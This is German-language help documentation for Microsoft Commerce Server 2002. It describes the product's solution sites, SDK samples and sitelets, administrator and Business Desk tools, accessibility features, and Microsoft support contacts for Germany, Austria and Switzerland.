  • Supplier-Site. Verwenden Sie diese Lösungssite als Ausgangspunkt für den Aufbau einer Business-To-Business-Site. Diese Site verwendet Active Directory von Microsoft Windows 2000, um sichere Benutzerauthentifizierung und Zugriffsberechtigungen für Gruppen zu realisieren. Zu den Funktionen dieser Site zählen auch die Behandlung von Einkaufsbestellungen und Anforderungen, XML-basierte Aktualisierung und Austausch von Katalogen sowie Selbstbedienung durch Handelspartner. Enthalten ist Partnerservice, mit dem ein delegierter Administrator (ein Kontakt bei einer Lieferantenfirma) Organisationsinformationen, Bestellungen sowie den Bestellstatus für die jeweilige Lieferantenfirma verwalten kann. Die Supplier-Site steht unter http://go.microsoft.com/fwlink/?linkid=6491 zur Verfügung.

Internationale Retail-Site: Eine .NET-basierte Site

Die internationale Retail-Site ist eine technologische Vorschau auf eine Business-To-Consumer- oder Business-To-Business-Website, die mehrere Sprachen und Währungen unterstützt.

Die internationale Retail-Site stellt eine Commerce Server 2002-Site dar, die mithilfe von ASP.NET und verwaltetem Code erstellt wurde. Viele der Sitefunktionen sind in kompilierten Assemblies und in Controls, die aus den Klassen dieser Assemblies erben, enthalten.

Die internationale Retail-Site unterstützt mehrsprachige Kataloge und verdeutlicht anhand von .NET CultureInfo-Steuerungsdaten, wie Text und Währung in der Site angezeigt werden. Die Architektur der Site ist so gestaltet, dass Text und Bilder für mehrere Kulturkreise verwaltet werden können. So kann die Site beispielsweise zwischen dem Französischen in Frankreich und dem Französischen in Kanada unterscheiden. Bei Verwendung derselben französischen Inhaltsübersetzung können für beide Länder die richtige Währung, das richtige Währungssymbol und die entsprechenden Trennzeichen dargestellt werden.

Die internationale Retail-Site finden Sie im Ordner "Microsoft Commerce Server 2002\SDK". Installationsanweisungen finden Sie unter Deploying the International Retail Site (englisches Thema).

Commerce Server .NET Application Framework

Mit dem .NET Application Framework von Commerce Server können Sie .NET-basierte Commerce Server-Anwendung mithilfe der neuen Features von .NET Framework erstellen. Das .NET Application Framework von Commerce Server enthält zwei neue Ebenen auf der Commerce Server-Plattform: die Basisklassenbibliotheksebene und die Common Language Runtime-Interoperabilitätsebene. Mithilfe dieser Ebenen ist ASP.NET-Code in der Lage, Commerce Server-Dienste und -Systeme auszuführen. Wenn Sie Visual Studio .NET verwenden, können Sie auf Commerce Server-Features und Tools zugreifen, um Commerce Server-Anwendungen zu erstellen.

Das Software Development Kit (SDK) enthält die folgenden vier Sitelets, die Sie mit dem .NET Application Framework verwenden können:

  • Advertising Sitelet
  • Catalog Sitelet
  • Profile Sitelet
  • Order Sitelet

Die .NET Framework-Sitelets befinden sich im Ordner Programme\Microsoft Commerce Server 2002\SDK\Samples\WebForms. Darüber hinaus enthält das SDK die folgenden sieben Sitelets, die Sie mit Standard-COM-Anwendungen verwenden können:

  • Advertising Sitelet
  • Auction Sitelet
  • Catalog Sitelet
  • Discount Sitelet
  • Order Sitelet
  • Passport Sitelet
  • Profile Sitelet

Die COM-Sitelets befinden sich im Ordner Programme\Microsoft Commerce Server 2002\SDK\Samples\Sitelets. Weitere Informationen finden Sie unter Commerce Server .NET Application Framework (englisches Thema).

Commerce Server-Entwicklerportal

Beim Entwicklerportal handelt es sich um eine Reihe von Commerce Server-Tools, die in Visual Studio .NET integriert sind. Das Entwicklerportal umfasst einen Projekterstellungs-Assistenten, mit dem Entwickler aus der Visual Studio .NET-Umgebung heraus Commerce Server-Projekte erstellen können und Schemaentwickler in die Lage versetzt werden, Profil- und Produktkatalogsysteme zu erstellen, die in der Visual Studio .NET-Umgebung bereitgestellt werden.

Weitere Informationen finden Sie unter Verwenden des Entwicklerportals.

Commerce Server SDK

Das Commerce Server SDK enthält Headerdateien, Beispielcode, Sitelets und Tools für die Entwicklung von E-Commerce-Lösungen mit Commerce Server 2002.

Headerdateien

Beispielcode

Sitelets

Tools

Headerdateien

Der Ordner Include des SDK enthält die Header- und Interface Description Language (IDL)-Dateien, die zur Verwendung und Erweiterung der Dienste von Commerce Server 2002 in Microsoft Visual C++ benötigt werden.

Beispielcode

Im Folgenden wird der Beispielcode im SDK auszugsweise aufgeführt:

  • Administration Samples. Eine Referenz für das Erstellen von Commerce Server 2002-Ressourcen, für die Integration und Erweiterung von Commerce Server-Manager und für das Erstellen von benutzerdefinierten Commerce Server Site Packager-Komponenten sowie von benutzerdefinierten Commerce Server Business Desk-Modulen.
  • Business Desk Module Framework. Eine lauffähige Codebasis, über die sich neue Business Desk-Module entwickeln lassen. Diese Codebasis demonstriert die Verwendung von XML-Dateninseln und enthält die Business Desk-Widgets (Schaltelemente). Damit lässt sich eine anspruchsvolle, webbasierte Benutzeroberfläche erstellen, über die die Verwaltung Ihrer Commerce Server-Site auch ohne umfangreiche technische Vorkenntnisse möglich ist. In diesem Beispielcode finden Sie die Seite Bearbeiten zur Implementierung des Widgets Bearbeiten, die Seite Liste zur Implementierung des Widgets Liste sowie die Seite Antwort zur Behandlung von Anforderungen der Business Desk-Benutzeroberfläche. Zusätzlich finden Sie das Skript AddModuleToConfig.vbs, das die Installation von neuen Business Desk-Modulen in ein vorhandenes Business Desk demonstriert.
  • Business Desk Installer. Eine einfache COM-Komponente, die zeigt, wie die Verwaltungs-API zusammen mit der Internetinformationsdienste (IIS) 5.0-Metabasis verwendet wird und wie der Microsoft Extensible Markup Language (MSXML)-Parser zur Installation neuer Business Desk-Module in ein vorhandenes Business Desk eingesetzt werden kann.
  • Custom Site Packager-Komponente. Eine Komponente, die das Packen und Entpacken von Siteressourcendaten demonstriert, die beim Packen/Entpacken eines Commerce Site-Pakets erstellt werden. Die Custom Site Packager-Komponente ist eine Microsoft Visual Basic ActiveX-DLL (Dynamic Link Library), die die IPuP-Schnittstelle (für Custom Site Packager-Komponenten erforderlich) implementiert, in einer Microsoft SQL Server™-Datenbank gespeicherte Daten packt und diese Daten in einer bestimmten Site entpackt.
  • CSF Score Headlines. Ein Beispiel, das veranschaulicht, wie das Zielgruppenadressierungssystem unter Verwendung der benutzerdefinierten Content Selection Framework (CSF)-Komponenten Cache laden und Bewerten erweitert werden kann. Das Beispiel "CSF Score Headlines" setzt voraus, dass Sie den Benutzern Ihrer Site gezielt Headlines (Schlagzeilen) anzeigen möchten, basierend auf dem Alter der Headline und darauf, welche Headlines am häufigsten angezeigt wurden. Es zeigt außerdem die Integration mit dem Zielgruppenadressierungssystem unter Verwendung von Microsoft Visual C++ und Microsoft Visual Basic.
  • CSF Debug Utils. Eine Reihe von Active Server Pages (ASP), die Sie in Ihre Skripts einbinden, um den Inhalt eines CSF-Zwischenspeichers zu sichern und um eine Ablaufverfolgung der Bewertungslogik beliebiger Inhaltsanforderungen zu erstellen. Das Beispiel "CSF Score Headlines" demonstriert die Verwendung dieser Debugging-Werkzeuge.
  • CSF DB Utils. Eine Reihe von SQL-Skripts, die sämtliche Inhalte aus den CSF-, Ausdrucksbewertungs- und Listen-Manager-Datenbanken entfernen.

Sitelets

Zusätzlich zu den herkömmlichen Codebeispielen im Commerce Server 2002 SDK werden auch kleine Commerce Server 2002-Sites ("Sitelets" genannt) bereitgestellt. Die Sitelets demonstrieren, wie die API-Sätze aus ASP-Seiten zu verwenden sind, ohne sie mit den übrigen Laufzeitdiensten für Commerce Server 2002 zu integrieren. Führen Sie die Sitelets aus, um die APIs für ein bestimmtes Feature zu isolieren und zu verstehen, ohne fremden Code manuell filtern zu müssen, der sich nicht auf die auszuführende Aufgabe bezieht. Das Commerce Server 2002 SDK enthält die folgenden Sitelets:

  • Advertising Sitelet. Dieses Sitelet zeigt, wie das Profilsystem zusammen mit dem Zielgruppenadressierungssystem zur Anzeige zielgerichteter Anzeigen verwendet werden kann. Sowohl für .NET Application Framework als auch für COM verfügbar.
  • Auction Sitelet. Zeigt, wie die Auktionskomponente zur Implementierung von Höchstgebot-Auktionen eingesetzt werden kann. Zu diesem Sitelet gehört ein benutzerdefiniertes Business Desk-Modul für die Verwaltung von Auktionen. Verfügbar für COM.
  • Catalog Sitelet. Dieses Sitelet zeigt Ihnen, wie Sie mit dem Produktkatalogsystem Funktionen zur Katalogsuche in Ihrer E-Commerce-Site umsetzen können. Sowohl für .NET Application Framework als auch für COM verfügbar.
  • Discount Sitelet. Dieses Sitelet zeigt Ihnen, wie Sie sich gezielte Preisnachlässe während der Bestellungserfassung durch Ihre Website zu Nutze machen können. Verfügbar für COM.
  • Order Sitelet. Zeigt Ihnen, wie Commerce Server zur Implementierung eines Prozesses für die Bestellungserfassung in Ihrer Website eingesetzt werden kann. Sowohl für .NET Application Framework als auch für COM verfügbar.
  • Passport Sitelet. Dieses Sitelet demonstriert, wie die Einzelanmeldungsfunktion von Passport mit dem Profilsystem integriert werden kann. Mit dieser Funktion können Sie und die Benutzer von einem Authentifizierungsdienst mit einmaliger Anmeldung profitieren. Auf den Einsatz des Profilsystems zur Zielgruppenadressierung von Benutzern, zur Verwaltung von Benutzerdaten usw. müssen Sie dabei nicht verzichten. Verfügbar für COM.
  • Profile Sitelet. Dieses Sitelet zeigt Ihnen, wie Sie das Profilsystem zur Registrierung und Authentifizierung der Benutzer Ihrer E-Commerce-Site einsetzen können. Sowohl für .NET Application Framework als auch für COM verfügbar.

Die COM-Versionen der Sitelets befinden sich im Ordner Programme\Microsoft Commerce Server 2002\SDK\Samples\Sitelets. Die .NET Framework-Version der Sitelets befindet sich im Ordner Programme\Microsoft Commerce Server 2002\SDK\Samples\WebForms.

Tools

Commerce Server 2002 SDK enthält eine Reihe von Tools, mit deren Hilfe Sie den Entwicklungsprozess für die Erstellung von auf Commerce Server laufenden Sites vereinfachen und beschleunigen können. Mit diesen Tools können Sie außerdem Add-On-Komponenten für Commerce Server 2002 entwickeln und Integrationsprodukte für Commerce Server 2002 erstellen.

  • Pipelinekomponenten-Assistent für Visual Basic. Dieses Tool bietet Visual Basic-Entwicklern eine RAD-Umgebung (Release and Deployment) für das Erstellen von Pipelinekomponenten für die Geschäftsabwicklung. Registrieren Sie die Datei PipelineCompWizard.dll im Ordner VB Pipe Wizard der SDK-Tools, um den Pipelinekomponenten-Assistenten für Visual Basic zu installieren. Beispiel: C:\Programme\Microsoft Commerce Server\SDK\Tools\VB Pipe Wizard.
  • Pipelinekomponenten-Assistent für Visual C++. Dieses Tool besteht aus einer Gruppe von Dateien, die Sie zu Ihrer Microsoft Visual C++ 6.0-Installation hinzufügen. Mit diesen Dateien können Sie die Erstellung von Commerce Server-Pipelinekomponenten automatisieren. Der Pipelinekomponenten-Assistent erstellt die Objektdefinitions- und Implementierungsdateien, in denen die Funktionsprototypen für alle Schnittstellen enthalten sind, die für die Erstellung einer vollständig funktionsfähigen Pipelinekomponente implementiert werden müssen. Außerdem erstellt der Pipelinekomponenten-Assistent eine Eigenschaftenseite für Ihr Projekt, zu der Sie die Steuerelemente hinzufügen, über die Benutzer die Eigenschaften der Komponenten festlegen.
  • Pipeline Component Registration Tool. Mit diesem Tool können Sie die Stufenaffinität von Pipelinekomponenten registrieren. Die Pipelinekomponente wird auf dem Computer registriert, auf dem das Tool ausgeführt wird. Die Daten lassen sich dann zur Bereitstellung auf anderen Servern in eine Registrierungsdatei (.reg) exportieren. Das Pipeline Component Registration Tool befindet sich im Ordner Registration Tool des SDK. Beispiel: C:\Programme\Microsoft Commerce Server\SDK\Tools\Registration Tool.

Dokumentation für Entwickler

Mit der Commerce Server 2002-Hilfe erhalten Sie eine ausführliche Dokumentation der Möglichkeiten zur Anpassung von Commerce Server 2002. Die Dokumentation enthält beispielsweise Anweisungen zu folgenden Themen:

  • Developing an International Site (englisches Thema)
  • Building Business Desk Modules (englisches Thema)
  • Building Pipeline Components (englisches Thema)
  • Extending the Content Selection Framework (englisches Thema)
  • Integrating with BizTalk Server (englisches Thema)

Zusätzlich dazu enthält die Commerce Server 2002-Hilfe Beispielcode für die einzelnen Commerce Server 2002-Objekte.

Informationen zum Installieren von Aktualisierungen für die Commerce Server 2002-Hilfe finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6724.

Commerce Server 2000 Resource Kit

Das Microsoft Commerce Server 2000 Resource Kit enthält ausführliche Informationen über die Entwicklung von E-Commerce-Lösungen mit Commerce Server 2000. Es ist nicht speziell auf die Enterprise Edition von Commerce Server 2002 zugeschnitten. Das Resource Kit ist bei Microsoft Press erhältlich.

Im Commerce Server 2000 Resource Kit finden Sie Informationen zu den folgenden Themen:

  • Implementieren von Identifikation und Authentifizierung
  • Erweitern des Geschäftsanalysesystems
  • Implementieren von komplexen Preisberechnungsschemas
  • Entwickeln mit dem Profilsystem
  • Ändern der Bestellungsverarbeitung
  • Integration mit SAP
  • Integration mit J.D. Edwards OneWorld
  • Testen Ihrer Site
  • Leistungsoptimierung

Whitepapers

Whitepapers werden von Microsoft-Beratern, Softwareentwicklern und Systemintegratoren verfasst. In Whitepapers wird auf bestimmte Probleme eingegangen, die bei der Entwicklung und hinsichtlich der Siteinfrastruktur auftreten. Außerdem enthalten Sie ausführliche Informationen, die mitunter über die Produktdokumentation hinausgehen.

Eine Liste der Whitepapers zu Commerce Server finden Sie unter http://go.microsoft.com/fwlink/?LinkId=6274.

Knowledge Base-Artikel

Knowledge Base-Artikel (KB) werden von Microsoft Support Engineers verfasst. KB-Artikel enthalten ausführliche Informationen zur Fehlerbehebung und zur Lösung von technischen Problemen.

Weitere Informationen zu Microsoft Knowledge Base-Artikeln finden Sie unter http://go.microsoft.com/fwlink/?LinkId=5166.

Siehe auch

Verwenden von Site Packager

Programmer's Reference (englisches Thema)


Systemadministrator-Tools

Commerce Server enthält zwei Tools für Systemadministratoren: Commerce Server Manager und Commerce Server Site Packager. Systemadministratoren verwenden diese Tools zum Bereitstellen und Verwalten von Ressourcen, Sites, Anwendungen sowie Webservern.

Commerce Server-Manager

Mit dem Commerce Server-Manager werden Commerce Server 2002-Ressourcen, -Sites, -Anwendungen und -Webserver verwaltet und konfiguriert. Die Microsoft Management Console (MMC), eine Windows-basierte Oberfläche von Microsoft Windows 2000, dient als Host für den Commerce Server-Manager.

Commerce Server-Manager bietet ein gemeinsames Framework zur Verwaltung von Websites mithilfe einer einzigen, integrierten Oberfläche. Die Funktionen des Commerce Server-Managers stehen weder über webbasierte noch über befehlszeilenbasierte Verwaltung zur Verfügung. Der Zugriff und die Manipulation des Großteils dieser Funktionen erfolgt stattdessen über COM-Objekte. Daher können Sie zur Erweiterung der Verwaltungsumgebung ein Windows Script Host (WSH)-Skript oder eine Active Server Page (ASP) schreiben. Weitere Informationen über Commerce Server-Manager finden Sie unter Verwalten von Commerce Server.

Hinweis

  • Commerce Server-Manager kann nicht zur Verwaltung von Site Server 3.0 oder Site Server 3.0, Commerce Edition (SSCE) eingesetzt werden. Informationen über die Migration einer Site von Site Server finden Sie unter Aktualisieren von Site Server 3.0.

Commerce Server Site Packager

Site Packager ist ein Bereitstellungstool, mit dem Sie Ihre Site und deren Anwendungen und Ressourcen in eine einzige Datei packen können. Diese Datei können Sie dann in eine andere Umgebung verschieben. Mit diesem Tool packen Sie Ihre Commerce Server-Site (einschließlich der Einstellungen der IIS-Metabasis), das Dateisystem, Ressourcen der Verwaltungsdatenbank sowie die SQL Server-Datenbanken in eine einzige Datei. Außerdem können Sie damit die Commerce Server 2002-Site (bzw. Teile davon) auf anderen Computern entpacken.

Beispiel: Nach dem Entwickeln oder Aktualisieren Ihrer Site können Sie diese mit Site Packager packen und von der Entwicklungsumgebung zur Testumgebung und anschließend zur Produktionsumgebung verschieben.

In den meisten Fällen wird Site Packager zur ersten Bereitstellung der Site eingesetzt. Für anschließende Bereitstellungen, inkrementelle Aktualisierungen und Rollbacks sollten Sie jedoch ein Tool wie Microsoft Application Center 2000 bzw. ein anderes Content Management-Produkt verwenden. Weitere Informationen über Commerce Server Site Packager finden Sie unter Verwenden von Site Packager.

Siehe auch

Verwalten von Commerce Server

Verwenden von Site Packager

Aktualisieren von Site Server 3.0


Businessmanager-Tools

Commerce Server Business Desk ist ein erweiterbares Tool, das Businessmanager zur Verwaltung und Analyse ihrer Websites einsetzen können. Mit den Business Desk-Features lassen sich beispielsweise Preisinformationen in Ihren Katalogen aktualisieren und neue Anzeigen gezielt auf bestimmte Benutzer schalten. Anschließend können Sie Berichte ausführen, die den Einfluss dieser Änderungen auf die Produktivität der Site messen.

Business Desk wurde für Businessmanager konzipiert: für Personen, die Geschäftsziele, Strategien und die Prozesse zur Erstellung und Ausführung einer erfolgreichen E-Commerce-Website verstehen, jedoch nicht das technische Wissen für die Verwaltung einer Serveranwendung besitzen.

Business Desk besteht aus zwei Teilen: der Business Desk-Anwendung und dem Business Desk Client.

  • Business Desk-Anwendung. Diese Anwendung ist das Managementtool, das Sie zum Konfigurieren, Verwalten und Analysieren Ihrer Site einsetzen. Auf Business Desk kann von einem beliebigen Computer mit Microsoft Internet Explorer 5.5 zugegriffen werden. So erhalten Sie sicheren Remotezugriff.

    Business Desk-Anwendungen sind nur in Lösungssitepaketen verfügbar. Nach der Installation von Commerce Server müssen Sie eine Lösungssite entpacken, mit deren Hilfe sich eine Business Desk-Anwendung installieren lässt. Wenn Sie über eine vorhandene Site verfügen und Business Desk zur Verwaltung dieser Site verwenden möchten, müssen Sie eine Lösungssite entpacken, um die Business Desk-Anwendung zu erhalten, und anschließend die Anwendung ändern.

    Die Commerce Server-Lösungssites stehen unter http://go.microsoft.com/fwlink/?linkid=6491 zur Verfügung.

  • Business Desk Client. Dies ist die Clientsoftware, die Sie auf einem lokalen Computer installieren. Der Client stellt die Oberfläche für den Zugriff auf die Business Desk-Anwendung bereit. Beim ersten Zugriff auf eine Business Desk-Anwendung (über einen URL) wird der Business Desk Client gedownloadet und auf Ihrem Computer installiert. Für den Computer, auf dem der Business Desk Client ausgeführt werden soll, empfiehlt sich eine schnelle Verbindung zur Business Desk-Anwendung.


Eingabehilfen für körperlich Behinderte

Microsoft ist bemüht, eine möglichst einfache Verwendung seiner Produkte und Dienste für alle Personen zu gewährleisten. In diesem Abschnitt finden Sie Informationen über Features, die Personen mit körperlichen Behinderungen die Verwendung von Commerce Server 2002 erleichtern.

Informationen über... | Abschnitt
Die Verwendung der Tastatur zum Navigieren im Hilfe-Viewer. | Tastenkombinationen des Hilfe-Viewers
Die häufigsten Tastenkombinationen für Commerce Server Business Desk. | Verwenden von Tastenkombinationen

Dieser Abschnitt beinhaltet folgende Themen:

  • Eingabehilfen von Microsoft Windows 2000 Server
  • Weitere Informationen zu Eingabehilfen

Eingabehilfen von Microsoft Windows 2000 Server

Commerce Server 2002 unterstützt die im Folgenden aufgeführten Eingabehilfen von Microsoft Windows 2000 Server. Diese Features stehen in Commerce Server Business Desk, Commerce Server-Manager und im Pipeline-Editor zur Verfügung.

  • Bildschirmlupe. Vergrößert einen Teil des Bildschirms zur leichteren Lesbarkeit (in einem separaten Fenster).
  • Narrator. Liest die Informationen auf dem Bildschirm vor (auch Dialogfeldnamen, Menüs oder eingegebenen Text). Narrator bietet auch Blinden oder Personen mit anderen Sehbehinderungen ein Mindestmaß an Bedienungsmöglichkeiten zur Konfiguration oder in Notfällen.

    Hinweis

    • Narrator ist nur in der englischen Sprachversion von Windows 2000 Server verfügbar.
  • Bildschirmtastatur. Zeigt eine Tastatur auf dem Bildschirm an, sodass Sie Daten über ein Zeigegerät (Maus oder Eingabegerät mit einem Schalter) eingeben können. Die Bildschirmtastatur ist mit den meisten Tastaturen und Tastatureinstellungen kompatibel.

Weitere Informationen über die Verwendung dieser und anderer Eingabehilfen finden Sie unter "Eingabehilfen für körperlich Behinderte" in der Windows 2000 Server-Hilfe.

Weitere Informationen zu Eingabehilfen

Informationen zu den Eingabehilfen finden Sie in der Windows 2000-Hilfe im Handbuch Erste Schritte mit Windows 2000 Server unter "Eingabehilfen für körperlich Behinderte".

Hinweise zu den Eingabehilfen in Microsoft SQL Server finden Sie in den Onlinebüchern zu SQL Server unter "Eingabehilfen für Personen mit Behinderungen".

Weitere Informationen zu den Microsoft-Produkten für körperlich Behinderte finden Sie in der Microsoft-Website für Eingabehilfen unter http://go.microsoft.com/fwlink/?LinkId=198. In dieser Site finden Sie:

  • Umfassende Informationen über die für Microsoft-Produkte verfügbaren Dienste für körperlich Behinderte.
  • Informationen zu einer Vielzahl von Hardware- und Softwareprodukten von anderen Herstellern, die die Verwendung von Personalcomputern erleichtern.
  • Eine Übersicht über andere Produkte, Dienste und Ressourcen für körperlich Behinderte von Microsoft und anderen Organisationen.


Microsoft Services

Wenn Sie eine Frage haben

Wenn Sie Fragen zu Ihrem Microsoft-Produkt haben, empfiehlt es sich, im Handbuch und in der Online-Hilfe nachzusehen. Weitere technische Hilfestellungen sowie Informationen erhalten Sie auch im Internet auf unseren Online Supportseiten. Wenn Sie telefonische Unterstützung benötigen, wenden Sie sich bitte an den Support Service von Microsoft.

Wenn Sie anrufen, sollten Sie sich an Ihrem Computer befinden und die Produktdokumentation griffbereit vor sich haben. Bitte geben Sie bei telefonischen Anfragen Folgendes an:

  • Die Produktbezeichnung und die Versionsnummer des von Ihnen verwendeten Microsoft-Produkts.
  • Die von Ihnen benutzte Hardware (ggf. einschließlich der Netzwerkhardware).
  • Das von Ihnen eingesetzte Betriebssystem.
  • Den genauen Wortlaut von eventuell am Bildschirm angezeigten Meldungen.
  • Eine Beschreibung des Problems und der aktuellen Arbeitsschritte, bevor das Problem auftrat.
  • Eine Beschreibung Ihres Vorgehens beim Versuch, das Problem selbst zu lösen.


Microsoft Support Services

Microsoft unterstützt Sie mit einer breiten Palette von Dienstleistungen: Im Internet finden Sie nicht nur den kostenfreien Online Support, sondern auch Informationen zu unseren umfangreichen deutschsprachigen Support Services:

http://microsoft.com/support

Für die internationalen Support Services besuchen Sie uns unter:

http://support.microsoft.com/default.aspx?scid=/international.aspx

Kostenloser Online Support

Im Zentrum der Microsoft Support Services steht der kostenlose Online Support. Hier erhalten alle Anwender schnell und einfach Informationen und Hilfe zur Selbsthilfe für den optimalen Einsatz der Microsoft-Software. Der Online Support ist rund um die Uhr kostenlos im Internet verfügbar und bietet Ihnen folgende Services:

  • Knowledge Base – Kein Problem ist zu schwer, kein Begriff zu schwierig – in der deutschsprachigen Knowledge Base finden Sie Tausende von Artikeln unserer Supportteams. Der schnellste Weg zur Problemlösung rund um die Uhr: Einfach ein Stichwort eingeben und das Produkt auswählen.
  • Frequently Asked Questions – Sie haben Fragen – wir die Antworten. In den "Frequently Asked Questions" (FAQs) finden Sie eine Sammlung der Probleme, die am häufigsten an unser Supportteam herangetragen werden. Gerade, wenn Sie die exakte Ursache Ihres Problems nicht kennen, eignen sich die FAQs als erste Anlaufstelle.
  • Downloads – Damit Sie immer auf dem neuesten Stand der Entwicklung sind, bietet unser Downloadbereich aktuelle Updates, Produktergänzungen und Service Packs. Auch kostenlose Software und Betaversionen halten wir dort für Sie bereit.
  • Newsgroups – Zu vielen Microsoft-Produkten gibt es eigene Newsgroups, in denen sich unsere deutschsprachigen Kundinnen und Kunden gegenseitig helfen. Mit einem speziellen Programm fördern wir ein hohes fachliches Niveau und eine freundliche Atmosphäre in unseren Newsgroups. Probieren Sie es aus: Schildern Sie dort Ihr Problem, wenn Sie einmal nicht weiterkommen.
  • Kostenlose Supportanfragen via Internet - Im Fall der Fälle können Sie den Microsoft Supportspezialisten für die meisten Produkte zwei kostenlose technische Anfragen stellen. Das geht ganz bequem per Mausklick. Sie können Ihre Anfrage im Internet abschicken, dort den Status Ihrer Anfrage verfolgen und Ihre Antwort abrufen. Sie benötigen lediglich Ihre Produkt-Seriennummer (PID).

Sämtliche deutschsprachigen, webbasierten Dienstleistungen sind unter der folgenden Adresse verfügbar:

http://microsoft.com/support

Kostenfreie technische Anfragen

Kundinnen und Kunden, die die Desktop-Betriebssysteme Windows 98, Windows ME oder Windows XP, Desktop-Anwendungen wie Office 2000, Office XP oder Consumer Produkte wie Encarta oder Spiele als Paket im Fachhandel erwerben, haben die Möglichkeit, zwei kostenlose Anfragen an unser Supportteam zu stellen – telefonisch oder via Internet. Egal, ob Sie Fragen zur Installation oder zur Bedienung haben – hier wird Ihnen freundlich und schnell geholfen. Sie tragen nur die Telefonkosten (z.B. in Deutschland DM 0,24/EURO 0,12 pro Minute).

Kostenlose technische Anfragen an Microsoft werden nicht für Software angeboten, die Sie als System-Builder-Lizenz erworben haben oder die bereits auf einem neuen PC vorinstalliert war (sogenannte OEM-Lizenzen), und für Lizenzen, die im Rahmen von Lizenzierungsprogrammen für Unternehmen erworben wurden (z. B. OPEN, SELECT). In diesem Fall wenden Sie sich für kostenlose Unterstützung bitte an den Händler oder Hersteller des PCs.
Die Adressen finden Sie in der Dokumentation zu Ihrem PC und für die gängigsten Hersteller auch online unter:

www.microsoft.com/germany/ms/supportvertraege/personal/oem.htm

Sie erreichen uns von Montag bis Freitag zwischen 8:00 Uhr und 18:00 Uhr und Samstags zwischen 9:00 Uhr und 17:00 Uhr (nur kostenfreie Anfragen) unter folgenden Rufnummern:

Wenn Sie von Deutschland aus anrufen: 01805/67 - 22 55*

Wenn Sie von Österreich aus anrufen: 01/50 222 - 22 55

Wenn Sie von der Schweiz aus anrufen: 0848/80 - 22 55

Zeiten und Verfügbarkeit des Supports unterliegen den aktuellen Bedingungen der Microsoft-Niederlassung in Ihrer Nähe und können – mit einer angemessenen Übergangszeit – von Zeit zu Zeit geändert werden.

Kostenpflichtige technische Anfragen

Unabhängig davon, ob Sie Ihre beiden kostenlosen Anfragen bereits genutzt haben oder Lizenzen ohne Anspruch auf kostenlose Unterstützung (etwa System-Builder- oder OEM-Lizenzen, OPEN, SELECT) einsetzen – wir lassen Sie nicht allein. Unser Supportteam beantwortet Ihre Fragen in diesen Fällen gerne gegen Gebühr.

Wenden Sie sich für weitere Informationen bitte an die Vertragsberatung:

Wenn Sie von Deutschland aus anrufen: 01805/67 - 23 30*

Wenn Sie von Österreich aus anrufen: 01/50 222 - 23 30

Wenn Sie von der Schweiz aus anrufen: 0848/80 - 23 30

*DM 0,24/Min. EURO 0,12/Min.

Aktuelle Informationen zu den Microsoft Services finden Sie auch im Internet:

www.microsoft.com/germany/ms/supportvertraege/


Weitere nützliche Microsoft Services

Das Microsoft TechNet-Abonnement: Fachwissen auf Abruf:

Wenn technische Schwierigkeiten auftreten, bleibt oft keine Zeit lange nach Lösungen zu suchen. Hilfe bietet hierbei das Microsoft TechNet-Abonnement: Sie erhalten jeden Monat eine CD-ROM mit dem aktuellen Fachwissen unserer IT-Spezialisten. So bekommen Sie einen Großteil technischer Probleme selbst in den Griff.

www.microsoft.com/germany/technet

Das Microsoft Developer Network (MSDN): alle Informationen für Entwickler:

MSDN Subscription ist ein Jahresabonnement auf CD oder DVD. Dieses Abonnement erleichtert es Ihnen, die Vorteile der neuesten Microsoft-Tools und -Technologien zu nutzen. Aufgrund der flexiblen, auf spezielle Anforderungen zugeschnittenen Abonnements und der regelmäßigen Updates, die Ihnen automatisch zugestellt werden, ist das Microsoft Developer Network ein Muss für jeden Entwickler.

www.microsoft.com/germany/msdn

Wissen aus erster Hand – Microsoft Press

Der Microsoft Press Verlag bietet umfangreiche Buchreihen zu den wichtigsten Produkten von Microsoft an. Diese helfen Ihnen, Ihr Microsoft-Produkt schnell kennen zu lernen und erfolgreich einzusetzen.

http://mspress.microsoft.de/mspress/

Allgemeine Informationen –Microsoft Communication Center

Bei Fragen zur allgemeinen Produktverfügbarkeit, zu Preisen, Updatemöglichkeiten und dem Lieferumfang eines Produkts wenden Sie sich bitte an:

Für Deutschland:
Microsoft Communication Center
Privatkundenbetreuung
Telefon: 01805/25 11 99*
Fax: 01805/25 11 91*
Email: microsoft@service.microsoft.de

Geschäftskundenbetreuung
Telefon: 01805/22 95 52*
Fax: 01805/22 95 54*
Email: btob@microsoft.com

Konrad-Zuse-Str.1
D-85716 Unterschleißheim

* 0,24 DM/EURO 0,24 pro Minute

Für Österreich:

Microsoft Info-Service
Telefon: 08000/12 33 45
Fax: 02236/64 59 5
Email: infoservice@microsoft.at
www.microsoft.com/austria/infoservice

Postfach 262
A-1101 Wien
Montag – Freitag 9:00 – 17:00 Uhr

Für die Schweiz:

Microsoft Info-Service
Telefon: 0848/858 868
Fax: 01/311 72 27

Postfach
CH-8021 Zürich


Microsoft Niederlassungen

Deutschland:

Microsoft GmbH

Konrad-Zuse-Str.1
D-85716 Unterschleißheim
Telefon: 089/31 76-0
Fax: 089/31 76-10 00

Österreich:

Microsoft Ges.m.b.H
Ada-Christen-Gasse 4
A-1100 Wien
Telefon: 01/61 06 4 - 0
Fax: 01/61 0 64 - 200

Schweiz:

Microsoft AG
Richtistr. 3
CH-8304 Wallisellen
Telefon: 0848/22 44 88
Fax: 043/456 44 44


Verwenden der Commerce Server-Hilfe

Mit dem Commerce Server 2002-Hilfesystem erhalten Sie eine Dokumentation für Siteentwickler, Systemadministratoren und Businessmanager.

Die Commerce Server 2002-Hilfe wird gemeinsam mit Commerce Server in einer kompilierten HTML-Datei installiert (die Datei hat die Erweiterung ".chm"). Microsoft aktualisiert diese Datei in regelmäßigen Abständen auf der Basis von Rückmeldungen und Fragen von Benutzern. Die jeweils aktuelle Version können Sie unter http://go.microsoft.com/fwlink/?LinkId=6724 herunterladen, um die bei der Installation des Produkts installierte Version zu überschreiben.

Es wird empfohlen, Ihr Exemplar der Commerce Server 2002-Hilfe bei jeder neuen Version des Programms zu aktualisieren.

Dieser Abschnitt beinhaltet folgende Themen:

  • Informationen zur Commerce Server-Hilfe. Beschreibt die Struktur und die Inhalte der Commerce Server 2002-Hilfe.
  • Commerce Server-Lernprogramme. Listet die in Commerce Server enthaltenen Lernprogramme auf.
  • Verwenden des Hilfe-Viewers. Erklärt, wie Sie mit dem Hilfe-Viewer benötigte Informationen finden.
  • Suchen nach einem Hilfethema. Erklärt, wie Sie mithilfe der Operatoren OR, AND, NEAR und NOT nach verwandten Ausdrücken und Themen suchen.
